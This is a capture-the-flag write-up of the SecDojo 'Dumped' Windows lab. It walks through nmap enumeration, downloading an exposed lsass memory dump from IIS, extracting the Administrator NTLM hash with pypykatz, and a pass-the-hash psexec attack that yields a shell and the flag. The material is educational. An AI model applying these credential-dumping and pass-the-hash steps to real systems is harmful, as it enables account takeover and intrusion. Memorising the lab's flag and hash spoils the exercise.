SecDojo - Westeros Lab

Dumped machine write up

Information

• Name: Westeros Lab - Dumped Machine

Profile: SecDojoDifficulty: Easy

• **Description:** Westeros is a network of vulnerable Windows servers. Each box suffers from a severe vulnerability that if properly exploited, will grant you administrator access and get you the root flag located at the Administrator desktop folder.

Enumeration

NMAP

We begin our reconnaissance by running an Nmap scan checking services and their versions also checking default scripts and testing for vulnerabilities.

```
1 $ nmap -sV -sC 172.16.4.202
2 Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-28 14:29 UTC
3 Nmap scan report for 172.16.4.202
4 Host is up (0.0010s latency).
5 Not shown: 995 closed tcp ports (conn-refused)
6 PORT STATE SERVICE VERSION
7 80/tcp open http Microsoft IIS httpd 10.0
8 | _http-server-header: Microsoft-IIS/10.0
9
   http-methods:
       Potentially risky methods: TRACE
10 _
11 | http-title: 172.16.4.202 - /
12 135/tcp open msrpc
                              Microsoft Windows RPC
13 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
14 445/tcp open microsoft-ds Windows Server 2016 Datacenter 14393
      microsoft-ds
15 3389/tcp open ms-wbt-server Microsoft Terminal Services
16 |_ssl-date: 2022-12-28T14:29:42+00:00; -1s from scanner time.
17 | ssl-cert: Subject: commonName=Dumped
18 | Not valid before: 2022-12-27T14:20:10
19 | Not valid after: 2023-06-28T14:20:10
20 | rdp-ntlm-info:
21
      Target_Name: DUMPED
22
       NetBIOS_Domain_Name: DUMPED
23
       NetBIOS_Computer_Name: DUMPED
DNS_Domain_Name: Dumped
26
       Product_Version: 10.0.14393
27 | System_Time: 2022-12-28T14:29:37+00:00
```

```
28 Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:
      microsoft:windows
29
30 Host script results:
  __nbstat: NetBIOS name: DUMPED, NetBIOS user: <unknown>, NetBIOS MAC:
      06:ec:26:2c:5f:98 (unknown)
32
   | smb-security-mode:
33
       account_used: guest
       authentication_level: user
34
       challenge_response: supported
   message_signing: disabled (dangerous, but default)
37
   smb2-security-mode:
38
       3.1.1:
39 _
         Message signing enabled but not required
40 | smb2-time:
       date: 2022-12-28T14:29:37
41
42
   _ start_date: 2022-12-28T14:20:11
43
   | smb-os-discovery:
       OS: Windows Server 2016 Datacenter 14393 (Windows Server 2016
      Datacenter 6.3)
       Computer name: Dumped
45
46
       NetBIOS computer name: DUMPED\x00
47
       Workgroup: WORKGROUP\x00
48
       System time: 2022-12-28T14:29:37+00:00
49
50 Service detection performed. Please report any incorrect results at
      https://nmap.org/submit/ .
51 Nmap done: 1 IP address (1 host up) scanned in 20.12 seconds
```

From the above output we can see that ports, **80**, **135**, **139**, **445** and **3389** are the open ports also we found that the running system is **Windows Server 2016 Datacenter 6.3**.

Port 80

After checking what's on port 80 this is what we found.



Figure 1: 172.16.4.202:80/



Figure 2: 172.16.4.202:80/dumps/process/

This is very interesting the **.DMP** file or dump file format is used by Windows to dump the memory of a crashed program into a file for later diagnostic analysis therefore if we can extract informations from those files it can be helpful.

```
(kali) ∈ [~/Downloads]
$\file \left[ \left[ \left[ \left] \left[ \left] \reft[ \reft] \reft[ \left] \reft[ \left] \reft[ \reft] \reft[ \reft]
```

Figure 3: *determining file type*

Exploitation

After beating my head up trying to find a way or a tool to extract the informations from **.DMP** files, I finally found a tool named **pypykatz.py** which is Mimikatz implementation in python, and it only works with **lsass.DMP** which is decent because the **lsass.exe** process is the one responsible for verifing users logging on to a Windows computer or server, handles password changes, and creates access tokens. it means we can find passwords in its dump file.

```
1 $ pypykatz lsa minidump ./lsass.DMP
2 INFO:root:Parsing file ./lsass.DMP
3 FILE: ======= ./lsass.DMP =======
4 == LogonSession ==
5 authentication_id 2038524 (1f1afc)
6 session_id 0
  username Administrator
8 domainname DUMPED
9 logon_server DUMPED
10 logon_time 2020-10-29T17:27:39.507840+00:00
11 sid S-1-5-21-3442779028-2509691204-4132320481-500
12 luid 2038524
13 ....
14 == LogonSession ==
15 authentication id 161412 (27684)
16 session_id 2
17 username Administrator
18 domainname DUMPED
```

```
19 logon_server DUMPED
20 logon_time 2020-10-29T15:19:57.115459+00:00
   sid S-1-5-21-3442779028-2509691204-4132320481-500
21
   luid 161412
22
23
            == MSV ==
24
                    Username: Administrator
25
                    Domain: DUMPED
26
                    LM: NA
                    NT: 78f9261c7b0f08bd9a3b3b13340e4c2a
27
                    SHA1: b1553efa581712a8efead9829535b1a723f7cc40
28
29
                    DPAPI: NA
            == WDIGEST [27684]==
31
                    username Administrator
                    domainname DUMPED
                    password None
34
            == Kerberos ==
                    Username: Administrator
                    Domain: DUMPED
            == WDIGEST [27684]==
38
                    username Administrator
39
                    domainname DUMPED
40
                    password None
41
            == DPAPI [27684]==
42
                    luid 161412
43
                    key_guid 6a105211-df65-4190-9119-f3fc00c33238
44
                    masterkey
                       e91a544b4dc136e4b0518571830bcd35c6540437e79e443f253f6df973b05a99
                    shal_masterkey 1e4f90580f6afabf0c4c867a3c39891490736d1c
45
46
```

Even though we didn't find a text-format passwords, there was a part of NTLM hash NT:78 f9261c7b0f08bd9a3b3b13340e4c2a which we could use in our Pass-The-Hash attack using psexec.py tool.

```
$ psexec.py Administrator:@172.16.4.202 -hashes :78f9261c7b0f08bd9a3b3b13340e4c2a
Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022 SecureAuth Corporation

[*] Requesting shares on 172.16.4.202.....
[*] Found writable share ADMIN$
[*] Uploading file hEjUSAHm.exe
[*] Opening SVCManager on 172.16.4.202.....
[*] Creating service dffi on 172.16.4.202.....
[*] Starting service dffi....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
```

Figure 4: *Inside the windows machine*

Root Flag

After navigating to the Administator's desktop I found our flag.

Dumped_Sesco-xaaxzdlfy4zjwjs5ln0nfvmtwqqhlwy4